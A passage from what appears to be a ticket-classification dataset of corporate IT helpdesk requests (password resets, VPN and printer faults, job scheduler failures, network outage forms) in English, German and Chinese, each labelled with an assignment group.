ordner wird zur täglichen arbeit benötigt",GRP_34 +"efdl8111218 - outlook issue _x000D_ +_x000D_ +received from: wcnfvajb.kxylsamv@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +_x000D_ +after password change my outlook is not opening any more._x000D_ +_x000D_ +can you please help me?_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / kind ",GRP_0 +"job Job_481 failed in job_scheduler at: 09/14/2016 03:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_481 failed in job_scheduler at: 09/14/2016 03:39:00",GRP_8 +"restore deleted opportunities hello shikghtyuha, + +per my email it seems that user ukwfgxrl rieqbtnp has deleted some of the opportunities of another user rqfmcjak gcxvtbrz. i do not have details on those oportunities as they are not visible anymore, all i can say is that they have been deleted in the period of 1-14 september. most likely their opportstorage_product name start with ""ae seibel"". + +could you please verify if there is any chance to restore them. +",GRP_40 +please reactivate the id - tempuser in SID_34 - erp production pls reset the password for tempuser for erp SID_34.(erp prodn),GRP_2 +"job Job_501 failed in job_scheduler at: 09/14/2016 03:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_501 failed in job_scheduler at: 09/14/2016 03:25:00",GRP_8 +"frequent wifi diconnection in the new bay at basis area... team,_x000D_ +_x000D_ +please check we are having frequent disconnection to the wifi, all our connections to erp, skype are disconnecting..",GRP_4 +"job Job_483 failed in job_scheduler at: 09/14/2016 02:48:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_483 failed in job_scheduler at: 09/14/2016 02:48:00",GRP_8 +pc eemw8144218 und drucker im abstechprogramdntym aufstellen pc eemw8144218 und drucker im abstechprogramdntym aufstellen,GRP_42 +"please reset my SID_34 erp password. _x000D_ +_x000D_ +received from: ipqgrnxk.acxedqjm@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please reset my SID_34 erp password._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"job HostName_1019fail failed in job_scheduler at: 09/14/2016 01:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 09/14/2016 01:54:00",GRP_8 +"erpｐ11 locked + +received from: zuxcfonv.nyhpkrbe@gmail.com + +gso, + +please unlock the erp SID_34 account for id tjtigtyps soon ,don't reset password , ",GRP_0 +"zollerfgh machine image restoration _x000D_ +_x000D_ +received from: vkzwibco.pueyvhoi@gmail.com_x000D_ +_x000D_ +hello!_x000D_ +_x000D_ +the image of a machine pc (zollerfgh genius 3s) needs to be restored to the pc from the pen drive. please help with this issue on an urgent basis._x000D_ +_x000D_ +",GRP_19 +drucker em93 (bei frau zeilmann) defekt: das papier wird während des druck-/kopiervorganges geknittert. drucker em93 (bei frau zeilmann) defekt: das papier wird während des druck-/kopiervorganges geknittert.,GRP_42 +"hardware damage _x000D_ +_x000D_ +received from: skmdgnuh.utgclesd@gmail.com_x000D_ +_x000D_ +sir,_x000D_ +_x000D_ +i am facixepyfbga wtqdyoin ware issues in my laptop, my monitor plastic portion has come out of the groove and left control key is not working, kindly take necessary action._x000D_ +_x000D_ +below is details of laptop._x000D_ +_x000D_ +[cid:image001.png@01d20e77.584241c0]_x000D_ +_x000D_ +with warm ",GRP_19 +"erp logon password + +received from: ryculmsd.wofgvkrb@gmail.com + +hi, + +please send me a new password for my erp. + +lost mine – sorry!! + +janhytrn ooshstyizen +sales manager - construction sa +ryculmsd.wofgvkrb@gmail.com +new road king bit catalog: + +",GRP_0 +prdord226024765 226024766 226024794 can not release please help me to fix it. the business transaction cannot be carried out.,GRP_45 +"enterprise scan client (open text) for erp needs to be installed on computer eagw000312t_x000D_ +connected scanner is fujitsu fi 6130_x000D_ +scanner driver needs also to be installed._x000D_ +computer and scanner is online and nobody is working on it until scan client is installed. so you can take everytime controll over the computer._x000D_ +open text viewer is already installed. _x000D_ +if you need on site support please let me know_x000D_ +",GRP_0 +"job Job_1148 failed in job_scheduler at: 09/14/2016 01:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1148 failed in job_scheduler at: 09/14/2016 01:15:00",GRP_9 +vpn 不能连接，提示无法找打防病毒软件。 vpn 不能连接，提示无法找打防病毒软件。 symantec 软件服务不能启动。,GRP_31 +"monthly quality working group (qwg) - global round tools - input needed! hello help team, _x000D_ +_x000D_ +pls see ralf's email below. _x000D_ +last month we had some write access issues. _x000D_ +is it possible that all participants of the round tool group can work on this collaboration_platform file even if the file name will change._x000D_ +i need to update this file each month and save it under the respective month._x000D_ +if not, do you have any idea how we can handle that? _x000D_ +_x000D_ +_x000D_ +_x000D_ + _x000D_ +",GRP_16 +"need support _x000D_ +_x000D_ +received from: ehfvwltg.eakjbtoi@gmail.com_x000D_ +_x000D_ +hello，_x000D_ +_x000D_ +material no： 7309039 ， can not use in purchasing , please replicate_x000D_ +._x000D_ +_x000D_ +best ",GRP_29 +"bw server error message hello team, + +one of company user, uxndyfrs vahxnfgl, sometimes go error message below. +i think this is erp server connection issue. +do you have any solution for this? + +error shows ""an error happened during accessing bw server. connection was stopped because of this error"" + + +∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞ +xmgptwho fmcxikqz k.k. +浅野 健 / takeshi asano + +∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞ +",GRP_9 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?):SID_52 , SID_53 + +enter user id of user having the issue:mathyida + +transaction code(s) the user needs or was working with: unable to logon (locked) + +describe the issue: please unlock the account and reset the password for both the systems. + +",GRP_2 +i am unable to update profile details. i am unable to update profile details/ its given (unable to update user shighjvnn - not found!) error. please assist me.,GRP_25 +"virus in my laptop _x000D_ +_x000D_ +received from: gqwdslpc.clhgpqnb@gmail.com_x000D_ +_x000D_ +my system is virus effected, please remove permanently._x000D_ +_x000D_ +please find below screen shot._x000D_ +_x000D_ +[cid:image003.jpg@01d20e64.349b30f0]_x000D_ +_x000D_ +_x000D_ +",GRP_50 +account is getting locked from HostName_895 account is getting locked from HostName_895,GRP_2 +vpn 连接后自动断开。 vpn 连接后自动断开，提示调制解调器没有找到,GRP_31 +i am having problems logging into the na vpn. i am having problems logging into the na vpn. i am receiving an error message saying that my username or password is incorrect even though i know it is correct.,GRP_0 +"companyguest wifi login pw & user name _x000D_ +_x000D_ +received from: yhmzxcia.heszapvl@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +please help to create a permanent companyguest wifi login pw and user name for our office._x000D_ +we need this password and user name so that as and when we have guest coming for training or meeting to be able to login._x000D_ +_x000D_ +best ",GRP_4 +delivery 9169288744 displaying no intercompany billing error message but the intercompany does exist. unable to process order through k.i.s shipping system due to the system not registering the existing intercompany billing.,GRP_18 +"cannot log into vpn name:cagrty +language: +browser:microsoft internet explorer +email:iehdjwvt.rndtlyhv@gmail.com +customer number: +telephone: +summary:cannot log into vpn",GRP_0 +erp account unlocked erp account unlocked,GRP_0 +"job SID_48hotf failed in job_scheduler at: 09/13/2016 19:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_48hotf failed in job_scheduler at: 09/13/2016 19:54:00",GRP_5 +"job SID_37hoti failed in job_scheduler at: 09/13/2016 19:53:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hoti failed in job_scheduler at: 09/13/2016 19:53:00",GRP_5 +"job SID_37hoti failed in job_scheduler at: 09/13/2016 19:53:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hoti failed in job_scheduler at: 09/13/2016 19:53:00",GRP_5 +timecards are not generating automatically timecards are not generating automatically,GRP_36 +"circuit outage: germany, germany-(company) primary mpls circuit is down since 6:24pm et on 09/13, site up on secondary what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________6:24pm et on 09/13______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____yes____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"network outage at israel, israel ( sales facility) since 8:30am et 09/13. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __8:30am et 09/13____________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _no_____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"circuit outage: paris - () company primary mpls circuit is down since 6:24pm et on 09/13/16, site up on secondary what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __________6:24pm et on 09/13/16____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ________#332879751 global_telecom_1_________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"network outage: Israel, israel - (company) network is down since 6:24pm et on 09/13/16 what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______6:24pm et on 09/13/16_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) __________#332878989 global_telecom_1 ticket_______________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +制粉三楼控制室电脑故障 制粉三楼控制室电脑不能开启，电源指示灯桔色频闪。,GRP_48 +铸造车间电脑故障 铸造车间记录生产数据的电脑不能开机,GRP_48 +用友定期备份不成功 服务器端用友系统最近半个月日备份失败,GRP_48 +"circuit outage: germany, steel plant - (company) mpls circuit is down since 6:24pm et on 09/13/16, site up on secondary what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____yes____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________6:24pm et on 09/13/16_____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____no____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +" request to reset microsoft online services password for rcfwnpbi.kvhedyrc@gmail.com _x000D_ +_x000D_ +kind ",GRP_0 +inqury-does email work on phone without internet connection inqury-does email work on phone without internet connection,GRP_0 +"wallpaper is beshryu, need to change to windows theme wallpaper is beshryu, need to change to windows theme",GRP_0 +unable to communicate to savin c2525 printer unable to communicate to savin c2525 printer,GRP_0 +HostName_1010(erp search_server server): erpstartsrv.exe service is down since 4:25pm et on 09/13/16 HostName_1010(erp search_server server): erpstartsrv.exe service is down since 4:25pm et on 09/13/16,GRP_14 +"ms excel right click not working. ms excel right click not working._x000D_ +-connected to the user system using teamviewer._x000D_ +-repaired the ms office._x000D_ +reopned the excel.its working fine now._x000D_ +-issue resolved.",GRP_0 +uacyltoe hxgayczeing is available but i can't get into SID_1 uacyltoe hxgayczeing is available but i can't get into SID_1,GRP_0 +update on inplant_858893 update on inplant_858893,GRP_0 +mobile device activation mobile device activation ,GRP_0 +"pos report does not pull the search results. pos report does not pull the search results. +--connected to the user system using teamviewer. +-when the user tries to run a pos report as seen in the scren shot , it gives the user error. +-see attachment- +contact: +",GRP_21 +unable to print from tc53_ps printer unable to print from tc53_ps printer,GRP_0 +unable to connect to printer unable to connect to printer ,GRP_0 +"unable to print, keeps asking to install driver for printer unable to print, keeps asking to install driver for printer",GRP_0 +unable to print. i am not able to print in usa. ,GRP_0 +npr issues i need access to the npr template. i can load the site but cannot enter a customer.,GRP_21 +"creating a group in collaboration_platform - get error message i am trying to create a group under people in collaboration_platform - get an error message that ""the ability to create groups has been turned off by the person who manages your email.",GRP_16 +"approve primary email if crm user ""kpobysnc tqvefyui"" in production approve primary email of the crm qlhmawgi sgwipoxn called "" kpobysnc tqvefyui"" in msd crm production ",GRP_16 +"computer won't connect to printer - keeps installing drivers hello, it team! this afternoon, my computer has stopped connecting to printer cl28_ps. when i attempt to print a document, it prompts me to install a driver for the printer. i let it do that and re-open the document. when i try to print again, it does the same thing and then tells me it cannot print. this is the main printer that i have been using since february, so i'm not sure why it has suddenly stopped working. if you could please assist me when you get a moment, i'd appreciate it. i will print to another nearby printer in the meantime (it is allowing me to print to this other network printer). if you need to contact me, please feel free to call me at or i can be reached via skype. ",GRP_0 +setup client on e7350 from a e5440 laptop setup client on e7350 from a e5440 laptop,GRP_3 +"unable to open a powerpoint file name:lpriokwa bgwneavl +language: +browser:microsoft internet explorer +email:lpriokwa.bgwneavl@gmail.com +customer number: +telephone: +summary:i am having difficulty opening a power point. won't open and says ""repair"" when i click, it cannot open.",GRP_0 +"cannot sync my internal collaboration_platform notebook. i updated my password using password_management_tool and now my collaboration_platform is asking me to enter credentials. if i enter my old password, collaboration_platform says it is incorrect. if i enter my newly updated password, the message ""contacting the server for information"" pops up, dierppears, then it asks me to sign in again. this collaboration_platform is shared on collaboration_platform between my coworkers and i. i have attached a video to show what is happening. ",GRP_0 +generirtc issue about msoffice version generirtc issue about msoffice version,GRP_0 +"vip 2 - german payroll collaboration_platform site requested + +received from: sbgvrncj.idfhtoqv@gmail.com + +hello, +please create a standard collaboration_platform template site for the german payroll implementation project. +owners: jywvemun qngschtz and lixwgnto krutnylz as backup. +full update access should also be usaed to: lixwgnto krutnylz, przcxbml vnjdghui, tvcdfqgp nrbcqwgj, johyue ghjuardt, jywvemun qngschtz, jfcrdavy sxpotjlu , nicrhty edmhihryu +we will also require some vendors external to company to have access to certain folders as well. +please inform as soon as the site have been created. +many ",GRP_16 +"erp password reset ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +hakim belhadjhamida + erp password locked as i have entered wrong one. by the way i changed my password this morning +rakthyesh ramdntythanjesh + hi hakityum + ",GRP_0 +erp SID_34 account unlock for laffekr erp SID_34 account unlock for laffekr,GRP_0 +blank call blank call,GRP_0 +ticket update on inplant_859811 ticket update on inplant_859811,GRP_0 +ticket update on inplant_859826 ticket update on inplant_859826,GRP_0 +"background reports in erp are not running hello,_x000D_ +_x000D_ +my nightly erp reports are no longer running each day. i have reset them and they still will not run._x000D_ +_x000D_ +",GRP_13 +"i am locked out of crm and need to get in to get a shipment out today name:vfjsubao yihelxgp +language: +browser:netscape +email:vfjsubao.yihelxgp@gmail.com +customer number: +telephone: +summary:i am locked out of crm and need to get in to get a shipment out today",GRP_0 +"please activate my new iphone, it is a company owned device. from: nwfodmhc exurcwkm +sent: tuesday, september 13, 2016 9:10 pm +to: fmzdkyqv dbrslnhe +subject: re: sab wg: die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis der zugriff vom administrator gewährt wird. + + +hi michghytuael, + +your device has been successfully activated. + + + +",GRP_0 +unable to log in to windows unable to log in to windows ,GRP_0 +"lhqsm455 :'h' drive is over 85% space consumed. space available: 3 gb volume: h:\ label:dat4-lhqsm455 3eea8d28 on server: lhqsm455 is over _x000D_ +85% space consumed. space available: 3.0 g ",GRP_1 +audio doesnt work anymore on my laptop neither my earbuds nor plantronics are working anymore. ,GRP_0 +"printer installation name:fbhyeksq caexmols +language: +browser:microsoft internet explorer +email:fbhyeksq.caexmols@gmail.com +customer number: +telephone: +summary:unable to print. have updated drivers, however still saying needs updated",GRP_0 +outlook does not start outlook does not start,GRP_0 +erp SID_34 account locked unlocked. and confirmed with user.,GRP_0 +"locked out of password_management_tool + +received from: vfjsubao.yihelxgp@gmail.com + +can you please reset my password? +[cid:image001.png@01d20db0.745c31d0] + + + +vfjsubao yihelxgp +customer service representative + + +",GRP_0 +unable to connect to tx02 and tx03 unable to connect to tx02 and tx03,GRP_0 +outlook does not start. outlook does not start.,GRP_0 +"ticket udpate on inplant_856928 _x000D_ +_x000D_ +from: fumkcsji sarmtlhyanardhanan _x000D_ +sent: tuesday, september 13, 2016 8:36 pm_x000D_ +to: bvwepigr ekmarvgd_x000D_ +cc: vyluaepi dtwfaejr_x000D_ +subject: inc1547039_x000D_ +_x000D_ +hi jashyht_x000D_ +_x000D_ +user had called to mention that he needs to be able to get on wireless as he will be travelling._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"add rqiw8514281 to rqigfgage qlhmawgi sgwipoxn name:seghyurghei +language: +browser:microsoft internet explorer +email:mfeyouli.ndobtzpw@gmail.com +customer number: +telephone: +summary:can you add rqiw8514281 to rqigfgage qlhmawgi sgwipoxn",GRP_34 +"time cards missing from service -now & change of supervisors name from: sagfhosh karhtyiio +sent: tuesday, september 13, 2016 11:04 am +to: rabhtui edula +cc: ufpzergq zchjbfdehivashankaraiah; rkupnshb gsmzfojw +subject: inc1540911:time cards missing from ticketing_tool & change of supervisors name + +hi rabhtui, + +it looks like timecards for last two weeks in august 2016 & 1st week of september 2016 are missing from service -now. i also checked with my team member venkat he is also having same issue. + +and also request you to change the supervisor name from erihyuk m baurhty to xabkyoug wdkyiqfx. + +inc1540911 is assigned to you please take a look. please revert for any clarifications. + + + + +",GRP_36 +pdf files are not getting saved (freezes) from server . pdf files are not getting saved (freezes) from server .,GRP_0 +call disconnected due to vpn disconnection call disconnected due to vpn disconnection,GRP_0 +call disconnected due to vpn disconnection call disconnected due to vpn disconnection,GRP_0 +unable to print from cl_75 unable to print from cl_75,GRP_0 +german call // caller disconnected german call // caller disconnected,GRP_0 +microsoft word stopped working - unable to open files microsoft word stopped working - unable to open files,GRP_0 +user wanted to contact hr user wanted to contact hr,GRP_0 +password expired password expired,GRP_0 +"job Job_585 failed in job_scheduler at: 09/13/2016 10:22:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_585 failed in job_scheduler at: 09/13/2016 10:22:00",GRP_8 +frequently getting error in outlook application. frequently getting error in outlook application. error message is attached.,GRP_19 +call got disconnected as vpn went off for a while call got disconnected as vpn went off for a while,GRP_0 +auto output for inwarehouse_tools auto output for inwarehouse_tools. siemens cm 81873983 is set up to auto output inwarehouse_tools to service@company.com however these are not being received in email to trigger on-line invoicing on customer website.,GRP_13 +"printer problem / issue information - recurring problem please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? all printers_x000D_ + _x000D_ + • detailed description of the problem ? says has to install a driver. won't print._x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) _x000D_ + all documents_x000D_ +_x000D_ + • what system or application being used at time of the problem? all systems_x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? no and yes_x000D_ +_x000D_ + • if erp system, which system? all systems_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_12 +"zcor0003; variants plant_271 and rodstock not working in erp zcor0003; variants plant_271 and rodstock not working in erp +",GRP_44 +unable to create a new expense unable to create a new expense as its showing an infotype error.,GRP_0 +"sandir02 (usa,pa):the interface fc9/45 (10.1.102.202)is down since at 9:09 am et on 09/13. sandir02 (usa,pa):the interface fc9/45 (10.1.102.202)is down since at 9:09 am et on 09/13.",GRP_8 +inwarehouse_tools were not included to payment proposal inwarehouse_tools were not included to payment proposal,GRP_10 +account unlocked account unlocked,GRP_0 +ticket update on inplant_859389 ticket update on inplant_859389,GRP_0 +unable to connect to vpn unable to connect to vpn,GRP_0 +call from private number // got disconnected call from private number // got disconnected,GRP_0 +i am not able to connect to my regular printer or any printer. ts02 on HostName_769 x5380 ,GRP_0 +"company-na-usa-usa-switch-tc02-1-2960-access-sw01.company.com:interface: fastethernet0/3 · furnace pc ray jankowski is do company-na-usa-usa-switch-tc02-1-2960-access-sw01.company.com_x000D_ +: interface: fastethernet0/3 · furnace pc ray jankowski is down.",GRP_8 +maschinen pc von r241 im bereich kentip lässt sich nicht mehr starten; maschinen pc von r241 im bereich kentip lässt sich nicht mehr starten;,GRP_33 +"erp probleme wenn ich am rechner evh8114148 im erp eine zeichnung öffnen will schließt erp. dann muss ich mich neu einloggen._x000D_ +es wurden bereits zwei tickets geschrieben. aber das problem wurde bisher nicht behoben.",GRP_0 +"impossible to remove ""country of origin"" data on inwarehouse_tools for export customer 70202027 we've made a uacyltoe hxgaycze with xawlkiey demjqrfl in SID_1 - inwarehouse_tool number 0157138137_x000D_ +there is also inwarehouse_tool 0159117484 and proforma 0159122287 in SID_34 as examples (please note that english sentences are automatic ones and french are manual ones)._x000D_ +on customer master level - classification i checked ""no"" on print export info, but it doesn't work._x000D_ +_x000D_ +",GRP_13 +urgent!!!!! personnel number not accepted by travel expense manager in erp personnel number not accepted by travel expense manager in erp,GRP_52 +HostName_1043:average (4 samples) disk free on c:\ is now 6% HostName_1043:average (4 samples) disk free on c:\ is now 6%,GRP_12 +"zurücksetzen auf 12.09.2016 + +received from: cflrqoew.qbgjwaye@gmail.com + +hallo + +können sie mir helfen, die unten gekennzeichnete datenbank plant_113 stock report_daily.xlsx auf den 12.09.16 zurückzusetzen +danke + +[cid:image001.png@01d20db4.06570281] + +cflrqoew qbgjwaye +process planning +cflrqoew.qbgjwaye@gmail.com + +company company produktions gmbh & co. kg, geschäftsführer: dr. jofghyuach fabry, phvkowml azbtkqwx, naruedlk mpvhakdq + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_24 +probleme mit portal \ujtmipzv cwdzunxs probleme mit portal \ujtmipzv cwdzunxs,GRP_24 +zeiterfassung funktioniert nicht \we_qs \qualitätsmanagement \xwirzvda okhyipgr zeiterfassung funktioniert nicht \we_qs \qualitätsmanagement \xwirzvda okhyipgr,GRP_24 +scanner metroligic für rechner we_wu160 defekt \zedlet canner metroligic für rechner we_wu160 defekt \zedlet,GRP_24 +install company barcode für ewew8323504 \vzqomdgt jwoqbuml install company barcode für ewew8323504 \vzqomdgt jwoqbuml,GRP_24 +"job Job_593 failed in job_scheduler at: 09/13/2016 04:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 09/13/2016 04:13:00",GRP_8 +repeat print in tips printer repeat print in tips printer,GRP_31 +HostName_1193 - f:\ label:dat1-HostName_1193 36e52bcd is over 85% space consumed. space available: 1.4 g HostName_1193 - f:\ label:dat1-HostName_1193 36e52bcd is over 85% space consumed. space available: 1.4 g,GRP_12 +qlhmawgi sgwipoxn we_wu160 unlock qlhmawgi sgwipoxn we_wu160 unlock,GRP_0 +"purchasing freetext requisitions cannot be created we are having serious issues with creating shopping cars in purchasing._x000D_ +a buyer group of apac is defaulting and not changeable._x000D_ +since this buyer group belongs to a different purch. org. it causes an error that cannot be overwritten._x000D_ +it seems, this only happens when creating freetext shopping carts._x000D_ +we need immediate action on this. _x000D_ +no one can create freetext requisitions at all._x000D_ +",GRP_29 +"vip2- outlook not working, asking for password vip2- outlook not working, asking for password. no password prompt is coming up.",GRP_0 +we need a dn for 5018069717 material 2837572 pcs 25 plant plant_197 thanks we need a dn for 5018069717 material 2837572 pcs 25 plant plant_197 ,GRP_6 +can not access in SID_1 can not access in SID_1,GRP_0 +"fehler bei bestellung in -purchasing- katalog + +received from: pltkqrfd.bfohnjmz@gmail.com + +guten morgen, + +wie eben mit hotline besprochen, sende ich die fehlermeldung die beim einkaufen in purchasing katalog erscheint. + +[cid:hardcopy-cid] + +contact :",GRP_29 +need cute pdf installed. need cute pdf installed.,GRP_19 +"vpn not working from: yuxloigj tzfwjxhe _x000D_ +sent: tuesday, september 13, 2016 10:50 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: re: action required: please connect to the new vpn url before january 30_x000D_ +_x000D_ +hello:_x000D_ +_x000D_ +my vpn is not working. kindly help. ",GRP_0 +"user tfazwrdv upwonzvd’s pc name has been changed to atcl8316840 (old pc name : atclx205739) _x000D_ +_x000D_ +received from: sthyuraj.sektyhar@company.com_x000D_ +_x000D_ +user tfazwrdv upwonzvd's pc name has been changed to atcl8316840 (old pc name : atclx205739)_x000D_ +user wants this to be updated in telephony_software system for i3 updates_x000D_ +_x000D_ +_x000D_ +_x000D_ +from: may yi >_x000D_ +date: 13 september 2016 at 09:29:08 gmt+5:30_x000D_ +to: rajyutyi kuttiadi >_x000D_ +cc: obuwfnkm ufpwmybi >, tfazwrdv upwonzvd >_x000D_ +subject: fw: computer name change in telephony_software_x000D_ +hello rajyutyi,_x000D_ +could you help to put below stations to company net?_x000D_ +_x000D_ +user name_x000D_ +_x000D_ +new pc name/_x000D_ +_x000D_ +mac address_x000D_ +_x000D_ +tfazwrdv upwonzvd_x000D_ +_x000D_ +atcl8316840_x000D_ +_x000D_ +00:04:f2:90:54:b2_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_7 +"ethics _x000D_ +_x000D_ +received from: gasbfqvp.fmvqgjih@gmail.com_x000D_ +_x000D_ +guten morgen,_x000D_ +_x000D_ +leider kann ich den kurs nicht absolvieren, da ich keinen zugang bekomme. bis hierher geht's._x000D_ +_x000D_ +[cid:image001.png@01d20d93.7193c930]_x000D_ +_x000D_ +mit den besten wünschen und 